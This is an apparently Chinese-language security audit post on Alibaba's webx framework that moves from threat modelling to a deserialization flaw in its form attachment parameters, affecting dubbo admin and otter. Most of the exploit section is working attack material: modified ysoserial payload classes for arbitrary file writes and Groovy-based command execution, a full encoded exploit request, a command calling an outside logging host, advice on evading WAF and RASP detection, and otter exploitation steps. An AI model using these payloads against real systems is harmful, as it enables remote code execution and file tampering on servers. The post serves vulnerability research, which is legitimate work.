­

程式碼審計-dubbo admin <=2.6.1遠程命令執行漏洞

  • 2019 年 11 月 20 日
  • 筆記
  • 前置
    • 輸入材料
    • 安全目標和需求
    • 架構分析
  • 供應鏈安全
    • 源程式碼審查
    • 依賴結構矩陣(Dependency Structure Matrices,DSM)
  • 數據流
  • 信任邊界
  • 數據存貯
    • 威脅列表
  • otter manager
  • dubbo admin
  • 修復方案

RoadMap

通過結構化的思維進行以軟體程式為中心的威脅建模、枚舉威脅、緩解威脅、驗證來解決四個問題:具體業務是什麼?哪些地方可能出現風險?如何規避解決?是否覆蓋完整。 通過前排了解(包括在fofa、zoomeyes、shodan的範圍分析、wooyun歷史漏洞材料輸入),考量以下方面: – 數據流或程式碼布局; – 訪問控制; – 現有的或內置的安全控制; – 非用戶輸入的入口點; – 與外部服務的集成; – 配置文件和數據源的位置; – 插件和訂製化展現(在內置設計框架的情況下)。

輸入材料

webx需要的文檔清單,主要關注系統的通用安全缺陷 安全設計文檔: – 安全功能 – 默認安全設置 – 功能安全設計和實現 – 子系統間的攻擊風險點分析或者安全需求考量點 安全編碼規範 – 開發涉及安全點的要求 – 程式碼review、培訓涉及安全的記錄 安全測試文檔: – 功能涉及安全點的過程用例和結果文檔 組件安全: – 涉及二進位、開源組件的版本記錄,安全修補程式維護記錄

安全目標和需求

架構分析

webx 是Alibaba早期使用的一款建立在 Java Servlet API 基礎上的通用 WEB 框架。用 Webx 搭建的應用可以運行在任何一個標準的 WEB 應用伺服器上面:Tomcat、Jetty、Jboss、Weblogic。 Webx 是基於經典 MVC設計模式的 WEB 框架 Spring,並且可以被其它組件擴展。Webx 不僅能夠用來開發高度可訂製的 Web 應用,也能夠用來幫助用戶開發高度可擴展的非 WEB 的應用。作為一款阿里內部廣泛使用的基礎中間框架。其在SDLC開發流程階段佔據了一定的地位(參考《釘釘安全白皮書》應用安全章節介紹),雖然它的官網已經不維護,也是先知社區通用軟體的A類應用。企業內部框架設置默認值和默認擴展應該是最安全、最常用的選擇,同時將會在線上自動去除開發工具、debug和trace組件,保證軟體基準線安全。

技術方案合久必分、分久必合,統一框架在互聯網公司存在推廣困難、開發人員技術固化、在微服務的架構下難以高效擴展的缺陷,出現逐步被spring cloud等組件替換或升級的趨勢。但是仍需關注底層框架存在風險的場景,框架勢必會影響眾多增量和存量業務。對待存量業務的歷史遺留問題,存在調用鏈分析技術手段不全、安全監控存在組件不清晰、整改過程存在難度大、範圍廣、修復指標不清晰的客觀困難。安全推進過程中SDL團隊沒有足夠人力物力跟進每一次安全需求和評審;而在開發階段依賴於經過培訓和宣講後的code review需要具備一定的安全能力;而在日常安全運營介入較多的安全測試階段,功能安全測試和安全功能的測試需要實施人員具備一定的程式碼閱讀和賦能有效修復方案的能力。商業靜態安全工具對於框架類支援有限,在未訂製規則匹配模型、未設置防誤報原語和自定義有效slink點和污染路徑的情況下,掃描效果存在著高誤報率、高漏報率的局限性;黑盒掃描對於post請求、參數帶有許可權驗證、迭代掃描業務、日誌路由收集不全、poc不靈活的前提下就不能主動發現更多場景的安全風險和漏洞;人工程式碼review可以顯著發現業務安全問題如越權、資訊泄露、遍歷類問題,其他方面只能大致人工覆蓋公司歷史的主要安全問題和owasp top10列表;checklist檢測適用於數據安全層面和歸檔資訊,各階段數據難以有效聯動形成閉環運營。SDL有必要對組件和框架做一次安全設計和架構方面的評估,以webx為抓手,可以進行一次探索式地安全分析。 web處理架構簡單參考下圖:

供應鏈安全

遵循供應鏈安全檢測標準,使用dependency check分析項目的依賴關係,匹配CWE對應NVD查詢CVE。發現存在多處安全風險。

使用git alert功能進行分析,結果基本一致

此外經過mvn dependency tree人工審視發現org.codehaus.groovy:groovy-all:2.1.7引用實際存在CVE-2016-6814, CVE-2015-3253風險,利用存在客觀難度,考慮到資訊安全策略的三要素,遵循接受風險的策略。

源程式碼審查

對於框架類的使用白盒掃描器,可以用註解的方式打標避免誤報和漏報,步驟為: 為 Java 介面方法建模 為資源泄漏建模 為不可信(被污染的)數據源建模 為不能流入被污染數據的方法(數據消費者)建模 添加欄位被污染或未被污染的斷言 抑制對方法的缺陷報告 生成 Java Web 應用程式安全 模型 結合自定義規則進行排查,發現89項程式碼風險。

使用lgtm輔助分析: 可以看到有兩處xss、一處重定向需要進行驗證。

依賴結構矩陣(Dependency Structure Matrices,DSM)

這處的作用是:可以直接快速查看關聯關係,方便分析在註解、引用、參數調用時候的情況。

數據流

資產是指對用戶有價值,被攻擊目標。除了用戶數據等直接資產,還包括系統,許可權等可以被利用進一步攻擊的非直接資產。資產在應用系統不同的位置和訪問入口就形成了我們所說的攻擊面,對攻擊面防護部署不當,或者資產在不被信任的位置被訪問,存儲和使用都會導致設計缺陷和漏洞,這裡主要指數據流。

信任邊界

已確定的的信任邊界為: – 外圍防火牆、waf、應用認證的調用 – 資料庫伺服器信任來自dmz區的web應用程式的調用 – 前後端的數據傳參流轉 數據流圖: 框架類的實現較為複雜,手工分析畫了些圖,略 子系統分解: 對系統的了解程度指明了對子系統的剖析程度,略

數據存貯

威脅列表

STRIDE威脅建模

依據STRIDE威脅建模方法,採用微軟的Web 應用程式安全框架設計威脅列表: 自頂向下逐步分解,按照大模組進行梳理,檢查通用場景威脅列表和和原始安全需求,並對識別的威脅進行轉移、緩解、消除、接受風險這樣的緩解措施,這裡不適合使用綜合威脅辦法,從設計和交付回顧角度未有效增強fuzz能力。

將以上結果納入威脅漏洞庫。

攻擊樹分析:

通過文檔記錄檢查的方法,檢索漏洞資訊。利用攻擊樹體現漏洞、手段、將威脅進行裁剪細化,直達具體的行為、狀態。構建合適and的or模型很麻煩,依靠於建模人員的知識廣度。

基於Misuse_case的建模方法

略 ##軟體baseline 略 #技術考量和漏洞報告 還在使用ctrl+f嗎?使用ql查詢語言分析序列化的點吧:

編寫單元測試,通過flow進行跟進

##反序列化風險 參閱技術文檔《webx3_guide_book》的章節9.4.3.3. Field API,

利用: 在com.alibaba.citrus.service.form.impl.FieldImpl存在反序列化功能。

由於encode方法是對對象序列化後進行zip壓縮、base64編碼、url編碼,所以需要改造 可以通過兩種方式調用反序列化介面。 以官方的turorial1為例,新增顯式保存附件的功能,設置setAttachment對象,待反序列化時調用

為了驗證效果我們開啟組件過濾功能,form.xml設置

webx.xml設置只容許上傳jpg文件。

通過抓包http請求,分析流量和參數,我們可以通過構造.attach請求實現反序列化效果。 考慮到框架自動解析filedImpl,對於沒有這種寫法的網頁,也是存在反序列化漏洞。還是以demo的註冊頁面為例,構造請求進行url一次編碼,依舊生效:

POC: 考慮到webx已經使用了commons-fileupload:1.3.1(還記得dependency check的結果嗎?其實Apache Commons Fileupload Dos漏洞也是存在的),可以直接調用反序列化工具ysoserial,改造poc: 在ysoserial的pom.xml增加citrus的引用 改造FileUpload1.java為:

package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import org.apache.commons.fileupload.disk.DiskFileItem;import org.apache.commons.io.output.DeferredFileOutputStream;import org.apache.commons.io.output.ThresholdingOutputStream;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.File;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.util.Arrays;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/**  * Gadget chain:  * DiskFileItem.readObject()  * <p>  * Arguments:  * - copyAndDelete;sourceFile;destDir  * - write;destDir;ascii-data  * - writeB64;destDir;base64-data  * - writeOld;destFile;ascii-data  * - writeOldB64;destFile;base64-data  * <p>  * Yields:  * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)  * - pre 1.3.1 (+ old JRE): write data to an arbitrary file  * - 1.3.1+: write data to a more or less random file in an arbitrary directory  *  * @author mbechler  */@Dependencies({    "commons-fileupload:commons-fileupload:1.3.1",    "commons-io:commons-io:2.4"})@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")@Authors({Authors.MBECHLER})public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {    public DiskFileItem getObject(String command) throws Exception {       String[] parts = command.split(";");        if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {            return copyAndDelete(parts[1], parts[2]);         } else if (parts.length == 3 && "write".equals(parts[0])) {            return write(parts[1], parts[2].getBytes("US-ASCII"));         } else if (parts.length == 3 && "writeB64".equals(parts[0])) {            return write(parts[1], Base64.decodeBase64(parts[2]));         } else if (parts.length == 3 && "writeOld".equals(parts[0])) {            return writePre131(parts[1], parts[2].getBytes("US-ASCII"));         } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {            return writePre131(parts[1], Base64.decodeBase64(parts[2]));         } else {            throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));         }     }    public void release(DiskFileItem obj) throws Exception {        // otherwise the finalizer deletes the file         DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);         Reflections.setFieldValue(obj, "dfos", dfos);         }    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {        return makePayload(0, copyTo, copyAndDelete, new byte[1]);     }    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)     private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {        return makePayload(data.length + 1, dir, dir + "/whatever", data);     }    // writes data to an arbitrary file     private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {        return makePayload(data.length + 1, file + "", file, data);     }    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {        // if thresh < written length, delete outputFile after copying to repository temp file         // otherwise write the contents to repository temp file         File repository = new File(repoPath);         DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);         File outputFile = new File(filePath);         DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);         OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");         os.write(data);         Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);         Reflections.setFieldValue(diskFileItem, "dfos", dfos);         Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);         //對diskFileItem進行處理,進行一次zip壓縮,一次base64編碼,進行一次url編碼         System.out.println( encode(diskFileItem) );         return diskFileItem;     }    private static String encode(Object attachment) {        if (attachment == null) {            return null;         }        try {             ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 1. 序列化             // 2. 壓縮             Deflater def = new Deflater(Deflater.BEST_COMPRESSION, false);             DeflaterOutputStream dos = new DeflaterOutputStream(baos, def);             ObjectOutputStream oos = null;            try {                 oos = new ObjectOutputStream(dos);                 oos.writeObject(attachment);             } finally {                if (oos != null) {                    try {                         oos.close();                     } catch (IOException e) {                     }                 }               def.end();             }            byte[] plaintext = baos.toByteArray().toByteArray();            // 3. base64編碼             return StringEscapeUtil.escapeURL(new String(Base64.encodeBase64(plaintext, false), "ISO-8859-1"));         } catch (Exception e) {            return "!Failure: " + e;         }     }    public static void main(final String[] args) throws Exception {         PayloadRunner.run(FileUpload1.class, args);     }}

注意,通過DiskFileItem生成poc:

這時候的危害是:

  1. FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能夠達到寫入任意文件的漏洞;
  2. FileUpload的1.3.1之前的版本配合JDK1.7及其之後的版本,能夠向任意目錄寫入文件;
  3. FileUpload的1.3.1以及之後的版本只能向特定目錄寫入文件,此目錄也必須存在。(文件的的命名也無法控制);

雖然經過url和base64、zip的編碼轉化,幾乎不能被waf攔截,但是反序列功能可能被rasp安全功能識別黑名單,繞過方式為使用webx自帶的組件可以構造webx的特定poc,利用AbstractFileItem繼承FileItem的特性,抽象類的構造需要改一改(InMemoryFormFieldItem也可以)。

package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import com.alibaba.citrus.service.upload.impl.cfu.AbstractFileItem;import com.alibaba.citrus.service.upload.impl.cfu.DiskFileItem;import org.apache.commons.io.output.DeferredFileOutputStream;import org.apache.commons.io.output.ThresholdingOutputStream;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.File;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.lang.reflect.Field;import java.util.Arrays;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/**  * Gadget chain: DiskFileItem.readObject()  * <p>  * Arguments: - copyAndDelete;sourceFile;destDir - write;destDir;ascii-data - writeB64;destDir;base64-data -  * writeOld;destFile;ascii-data - writeOldB64;destFile;base64-data  * <p>  * Yields: - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) - pre 1.3.1 (+ old  * JRE): write data to an arbitrary file - 1.3.1+: write data to a more or less random file in an arbitrary directory  *  * @author mbechler  */@Dependencies( { "com.alibaba.citrus:citrus-common-util:3.2.4", "com.alibaba.citrus:citrus-service-upload:3.2.4" } )@PayloadTest( harness = "ysoserial.payloads.FileUploadTest" )@Authors( { Authors.MBECHLER } )public class Webx     implements ReleaseableObjectPayload<DiskFileItem>{    public DiskFileItem getObject( String command )         throws Exception    {       String[] parts = command.split( ";" );        if ( parts.length == 3 && "copyAndDelete".equals( parts[0] ) )         {            return copyAndDelete( parts[1], parts[2] );         }        else if ( parts.length == 3 && "write".equals( parts[0] ) )         {            return write( parts[1], parts[2].getBytes( "US-ASCII" ) );         }        else if ( parts.length == 3 && "writeB64".equals( parts[0] ) )         {            return write( parts[1], Base64.decodeBase64( parts[2] ) );         }        else if ( parts.length == 3 && "writeOld".equals( parts[0] ) )         {            return writePre131( parts[1], parts[2].getBytes( "US-ASCII" ) );         }        else if ( parts.length == 3 && "writeOldB64".equals( parts[0] ) )         {            return writePre131( parts[1], Base64.decodeBase64( parts[2] ) );         }        else         {            throw new IllegalArgumentException( "Unsupported command " + command + " " + Arrays.toString( parts ) );         }     }    public void release( DiskFileItem obj )         throws Exception    {        // otherwise the finalizer deletes the file         DeferredFileOutputStream dfos = new DeferredFileOutputStream( 0, null );         Reflections.getField( AbstractFileItem.class, "dfos" ).set( obj, dfos );        //Reflections.setFieldValue( obj, "dfos", dfos );   }    private static DiskFileItem copyAndDelete( String copyAndDelete, String copyTo )         throws IOException, Exception    {        return makePayload( 0, copyTo, copyAndDelete, new byte[1] );     }    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)     private static DiskFileItem write( String dir, byte[] data )         throws IOException, Exception    {        return makePayload( data.length + 1, dir, dir + "/whatever", data );     }    // writes data to an arbitrary file     private static DiskFileItem writePre131( String file, byte[] data )         throws IOException, Exception    {        return makePayload( data.length + 1, file + "", file, data );     }    private static DiskFileItem makePayload( int thresh, String repoPath, String filePath, byte[] data )         throws IOException, Exception    {        // if thresh < written length, delete outputFile after copying to repository temp file         // otherwise write the contents to repository temp file         File repository = new File( repoPath );         DiskFileItem diskFileItem =            new DiskFileItem( "test", "application/octet-stream", false, "test", 100000, false, repository );         File outputFile = new File( filePath );        // 實現延遲寫輸出流,來自於common-io包         DeferredFileOutputStream dfos = new DeferredFileOutputStream( thresh, outputFile );       OutputStream os = (OutputStream) Reflections.getFieldValue( dfos, "memoryOutputStream" );        //         os.write( data );        // 反射機制覆蓋written方法的內容         Reflections.getField( ThresholdingOutputStream.class, "written" ).set( dfos, data.length );         Reflections.getField( AbstractFileItem.class, "dfos" ).set( diskFileItem, dfos );         ;        // Reflections.setFieldValue(diskFileItem, "dfos", dfos);         Reflections.getField( AbstractFileItem.class, "sizeThreshold" ).set( diskFileItem, 0 );         ;        // 對diskFileItem進行處理,進行一次zip壓縮,一次base64編碼,進行一次url編碼         System.out.println( encode( diskFileItem ) );        return diskFileItem;     }    private static String encode( Object attachment )     {        if ( attachment == null )         {            return null;         }        try         {             ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 1. 序列化             // 2. 壓縮             Deflater def = new Deflater( Deflater.BEST_COMPRESSION, false );             DeflaterOutputStream dos = new DeflaterOutputStream( baos, def );             ObjectOutputStream oos = null;            try             {                 oos = new ObjectOutputStream( dos );                 oos.writeObject( attachment );             }            finally             {                if ( oos != null )                 {                    try                     {                         oos.close();                     }                    catch ( IOException e )                     {                     }                 }               def.end();             }            byte[] plaintext = baos.toByteArray().toByteArray();            // 3. base64編碼             return StringEscapeUtil.escapeURL( new String( Base64.encodeBase64( plaintext, false ), "ISO-8859-1" ) );         }        catch ( Exception e )         {            return "!Failure: " + e;         }     }    public static void main( final String[] args )         throws Exception    {         PayloadRunner.run( Webx.class, args );     }}

生成經過序列化的數據,GeneratePayload傳入的惡意數組為Webx write;/Users/nano/;hacker2:

將數據追加到_fm.u._0.s.attach,(重點,框架的form參數必須找到,如果有參數_fm.l._0.p,那麼使用_fm.l._0.p.attach介面)

It works!這裡使用。需要注意的是AbstractFileItem的注釋:

改進自commons-fileupload-1.2.1的同名類。解決了如下問題:原DiskFileItem類(以下簡稱原類)在解析form field的值時,會利用 content-type頭部指定的charset值來決定其字符集編碼。例如,下面的 multipart/form-data請求片段指定了myparam field值的字符集編碼為 UTF-8: ----HttpUnit-part0-aSgQ2M  Content-Disposition: form-data; name="myparam"  Content-Type: text/plain; charset=UTF-8  然而,除了單元測試所用的httpunit/servletunit以外,幾乎沒有瀏覽器會在這裡指定 content-type以及 charset。因此原類的 getString()總是得不到解碼正確的字元串。  原類將內容的長度超過sizeThreshold的欄位 —— 無論普通的form fields或是文件欄位 —— 均存入文件 。這是一種優化。然而在某些情況下,我們希望關閉這種優化 —— 將 sizeThreshold設置成 0 ,以便讓所有上傳文件無論大小都被存入磁碟。然而仍然希望普通的form fields被保存在記憶體里。  創建文件時,希望能自動創建目錄。  具體改進了如下內容:利用傳入的charset參數,而不是content-type來解碼form field。但該參數對於文件型欄位無效。  刪除getCharSet()方法,添加getCharset()和 setCharset()方法。  修改getString()方法,對form field使用指定的charset來解碼。  添加keepFormFieldInMemory屬性。  改進getOutputStream()方法,,當 keepFormFieldInMemory == true時,不將form fields寫入文件,即將 threshold設置成Integer.MAX_VALUE。  利用File.createTempFile()來生成臨時文件,刪除原getTempFile() 方法,及相關的getUniqueId()方法、counter field、 tempFile field。  改進write()方法,當文件目錄不存在時,創建之。  改進toString()方法,使之返迴文件名,這種形式是為了方便頁面引用FileItem對象。  Author:  Michael Zhou
那麼我們如果有許可權可以控制創建目錄了~此時的危害

1. webx的配合JDK1.7之前的版本,能夠達到寫入任意文件的漏洞; 2. webx配合JDK1.7及其之後的版本,能夠向任意目錄寫入文件; 3. webx向自定義目錄寫文件,實現大文件拒絕式服務攻擊。(文件命名的無法控制為upload_uid_.tmp,只能控制內容);

其他poc: 以上是基於webx自帶的jar包構造殺傷鏈,如果項目有其他依賴,可以適配poc實現遠程命令執行。還記得供應鏈安全嗎,前文我們說到有groovy 2.17,那我們就用2.3.9的poc吧!

package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import org.codehaus.groovy.runtime.ConvertedClosure;import org.codehaus.groovy.runtime.MethodClosure;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.InvocationHandler;import java.util.Map;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import com.alibaba.citrus.util.StringEscapeUtil;import com.alibaba.citrus.util.io.ByteArray;import com.alibaba.citrus.util.io.ByteArrayOutputStream;/*  Gadget chain:  ObjectInputStream.readObject()  PriorityQueue.readObject()  Comparator.compare() (Proxy)  ConvertedClosure.invoke()  MethodClosure.call()  ...   		Method.invoke()  Runtime.exec()Requires:  groovy  */@SuppressWarnings({"rawtypes", "unchecked"})@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})@Authors({Authors.FROHOFF})public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {    public InvocationHandler getObject(final String command) throws Exception {        final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");        final Map map = Gadgets.createProxy(closure, Map.class);        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);         System.out.println( encode( handler ) );        return handler;     }     private static String encode( Object attachment )     {        if ( attachment == null )         {            return null;         }        try         {             ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 1. 序列化             // 2. 壓縮             Deflater def = new Deflater( Deflater.BEST_COMPRESSION, false );             DeflaterOutputStream dos = new DeflaterOutputStream( baos, def );             ObjectOutputStream oos = null;            try             {                 oos = new ObjectOutputStream( dos );                 oos.writeObject( attachment );             }            finally             {                if ( oos != null )                 {                    try                     {                         oos.close();                     }                    catch ( IOException e )                     {                     }                 }               def.end();             }            byte[] plaintext = baos.toByteArray().toByteArray();            // 3. base64編碼             return StringEscapeUtil.escapeURL( new String( Base64.encodeBase64( plaintext, false ), "ISO-8859-1" ) );         }        catch ( Exception e )         {            return "!Failure: " + e;         }     }     public static void main(final String[] args) throws Exception {         PayloadRunner.run(Groovy1.class, args);     }  }

還是在webx的demo上,執行命令Groovy1 『curl lzv3nf.ceye.io/2』,生成poc:

curl 'http://localhost:8082/form/register.htm' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Origin: http://localhost:8082' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8082/form/register.htm' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7' -H 'Cookie: user=user1; _ga=GA1.1.1710135517.1532404169; Idea-67b3b07=90cc4bf1-d62b-4083-a2a7-48e17a3dfecf; JSESSIONID=UKZN4BDW61-1SI1FVR44K5UX5UKSX7Z1-NT2D83QJ-0; tmp0=eNrz4A12DQ729PeL9%2FV3cfUxiKzOTLFSCvWO8jNxcgk3M9Q1DPY0dAsLMjHxNg2NMA31Do4wjzLU9QsxcrEwDvTSNVDSSS6xMjQ1MTU3NLA0MDEyMtVJTIYKGBoZmpsZWOrkVlgZ1HLHJxcXpcWX5Gen5kkaGKSnhSd7ZJX5ZpjoG5qHlYZBOVEAOdMovQ%3D%3D' --data '_csrf_token=6Gbh06UEFCuV9YzHSilUf2&action=register_action&_fm.r._0.n=a&_fm.u._0.s.attach=%65%4e%72%74%56%56%31%6f%48%46%55%55%50%74%6d%6b%4e%6d%33%53%4a%4e%32%53%53%71%30%25%32%46%41%61%4d%32%6b%4d%35%67%71%68%56%4a%61%34%79%72%4d%51%75%54%70%47%5a%74%6c%65%54%70%37%73%7a%5a%6e%55%6e%76%33%44%76%65%65%32%65%7a%32%32%71%66%42%48%31%54%30%4a%63%69%67%6f%69%43%66%39%56%58%42%63%56%48%78%57%67%66%25%32%42%6c%42%42%55%42%47%46%49%75%4b%6a%25%32%42%4b%68%6e%66%6a%61%37%6d%70%4c%47%64%77%64%32%39%74%36%5a%38%33%33%33%4f%39%38%35%63%25%32%42%38%48%76%38%4d%75%72%57%42%4b%78%38%4a%53%57%4f%50%6f%47%6f%73%4a%49%51%30%7a%67%52%54%57%37%4f%61%77%4c%42%72%53%54%55%66%7a%54%48%67%63%31%65%6d%76%25%32%46%68%67%65%33%62%6a%77%64%67%45%4b%44%67%79%47%47%46%5a%52%6e%57%45%38%52%6d%31%67%32%46%6c%6a%44%57%62%48%4a%75%44%32%41%6f%75%6d%48%65%67%7a%72%51%67%4e%37%4d%39%65%63%43%62%71%64%6f%6b%7a%72%61%65%62%6b%58%34%4f%41%48%70%67%58%25%32%46%4c%47%53%69%41%57%51%5a%6f%4b%62%6b%34%66%4a%4b%47%62%79%6b%34%70%32%57%7a%39%64%4d%39%33%59%31%25%32%42%50%6c%44%59%4b%30%4f%4e%41%6a%32%25%32%46%67%72%69%37%53%50%4e%4c%65%49%6a%64%5a%53%4d%47%6b%56%48%58%4c%6c%52%37%36%4c%4e%5a%57%58%55%6e%5a%61%46%6b%71%46%69%59%49%30%53%70%4a%30%55%42%6c%30%43%74%78%71%57%4f%46%49%33%63%25%32%42%63%4f%6a%50%30%65%38%50%70%77%76%74%44%64%48%34%30%6c%74%6b%39%41%25%32%46%46%72%68%55%72%52%67%57%69%50%6b%32%43%6a%39%36%59%58%48%63%45%45%66%73%74%56%33%73%25%32%42%50%5a%7a%36%31%25%32%42%38%68%78%7a%6f%7a%25%32%46%25%32%42%4a%65%71%71%35%52%4d%6d%54%66%67%4a%25%32%42%43%53%73%7a%31%4b%65%52%49%6c%37%32%75%46%47%36%73%46%41%70%6a%6c%7a%61%48%38%30%7a%37%69%65%39%70%7a%68%50%62%79%56%70%49%73%38%6f%54%33%6a%25%32%46%30%30%50%4d%76%66%58%5a%35%50%6b%33%34%70%69%7a%68%5a%25%32%42%41%43%37%4b%48%6b%44%75%54%41%74%42%35%35%25%32%46%49%6b%33%76%71%67%64%4c%50%4b%56%41%76%53%58%59%59%38%58%4b%42%49%62%4e%4c%41%4d%68%30%4c%57%44%4d%49%34%58%49%79%54%72%6c%69%71%6e%57%49%71%38%59%33%79%4c%38%4f%77%51%69%31%35%41%38%6b%33%79%72%66%65%63%71%43%33%36%71%34%62%4f%4f%47%51%54%72%75%74%30%38%36%57%73%33%4f%64%74%73%73%34%31%34%46%42%25%32%42%78%45%70%4f%54%4b%52%4b%33%68%4b%73%53%69%69%34%6e%59%35%6d%41%67%65%63%47%43%58%58%42%65%6f%30%73%6b%71%44%45%56%74%41%55%39%53%47%31%4b%44%46%6c%65%33%4e%43%4b%56%32%50%69%42%7a%69%78%50%63%63%30%49%73%71%75%51%33%43%49%44%6f%32%51%76%48%25%32%42%50%6e%47%73%64%45%7a%58%4b%78%68%56%59%67%37%61%6b%6b%39%6b%43%73%32%70%78%74%68%78%4c%4f%39%77%39%25%32%42%25%32%42%25%32%42%48%47%4e%79%73%58%69%53%41%6c%4b%7a%54%49%79%4f%36%77%76%48%6b%75%58%54%6c%7a%37%64%66%62%7a%6a%25%32%42%65%78%6c%48%4d%59%42%6f%52%53%47%73%75%34%4e%68%33%39%4b%33%48%68%76%62%39%38%6c%64%76%55%70%57%25%32%42%69%42%6b%25%32%46%71%30%6c%45%69%6e%5a%6a%45%39%33%59%49%4a%58%35%37%73%37%33%30%25%32%42%6b%4a%61%30%74%50%65%42%64%25%32%46%4b%4c%37%25%32%42%77%73%54%4a%58%75%67%74%77%34%44%47%65%6b%6a%76%46%70%67%25%32%42%57%34%62%42%66%46%62%78%67%35%70%5a%68%66%35%38%53%6e%62%64%75%37%72%44%6a%68%75%76%5a%4a%6a%70%4e%4e%31%68%25%32%42%74%31%4b%7a%75%54%77%47%34%76%62%68%43%25%32%42%76%7a%38%78%4f%76%66%61%67%61%52%73%33%51%67%6c%61%25%32%46%34%33%6a%6a%75%50%4f%79%30%25%32%42%25%32%46%4d%6e%47%53%6d%6e%6b%4f%39%6e%4c%4a%76%44%6e%6d%47%71%6d%6f%6c%34%39%63%6c%34%6c%4c%39%36%79%32%6c%70%48%47%69%67%6e%6a%30%4c%52%32%25%32%42%70%33%4a%79%53%25%32%46%58%66%6b%73%25%32%46%69%44%37%64%45%71%34%42%25%32%42%25%32%46%70%57%70%47%6a%37%48%25%32%42%6a%78%43%67%47%79%62%25%32%46%43%25%32%42%6e%61%34%34%76%69%68%46%6a%51%55%71%67%65%4b%4c%55%39%63%71%35%7a%38%66%53%45%79%67%33%57%58%48%46%41%6e%32%34%39%76%66%66%50%57%39%52%31%65%65%7a%62%44%33%62%34%4f%64%72%57%71%43%75%75%61%4a%47%47%50%30%45%71%79%76%70%41%6a%4f%6f%61%4c%73%53%25%32%46%48%4d%38%73%25%32%42%55%66%5a%6c%4f%43%54%6f%48%6b%4c%69%4f%37%34%42%72%61%56%32%77%4b%73%64%75%73%6d%4d%25%32%46%66%76%54%4a%70%56%43%25%32%42%32%36%34%6f%7a%44%77%4d%6f%4a%4e%4f%48%6b%76%76%34%25%32%46%38%25%32%46%32%25%32%46%35%5a%46%44%55%4e%39%43%64%31%62%6c%58%51%30%43%5a%52%37%47%77%6a%53%33%53%30%71%4d%42%44%36%46%7a%4e%36%47%25%32%46%44%56%6f%69%38%0a&event_submit_do_register=%E6%8F%90%E4%BA%A4' --compressed

至此,使用原生webx框架,證實命令執行漏洞poc生效。顯示環境推薦使用推薦使用url2dns的poc。比wget或者curl -k方便和隱蔽。

調用鏈如下:

影響範圍:

otter

我們花開兩朵,各表一枝,以otter為例https://github.com/alibaba/otter 我們進行一次漏洞利用:https://github.com/alibaba/otter/wiki/Docker_QuickStart docker運行管理後台後進入容器驗證是否成功docker exec -it 2a810fb0b8f7 /bin/sh 首先使用web自己的上傳poc或者commons-fileupload:1.3.1的poc 登錄處即可觸發執行Webx write;/home/admin/manager/hack;hacker12233;

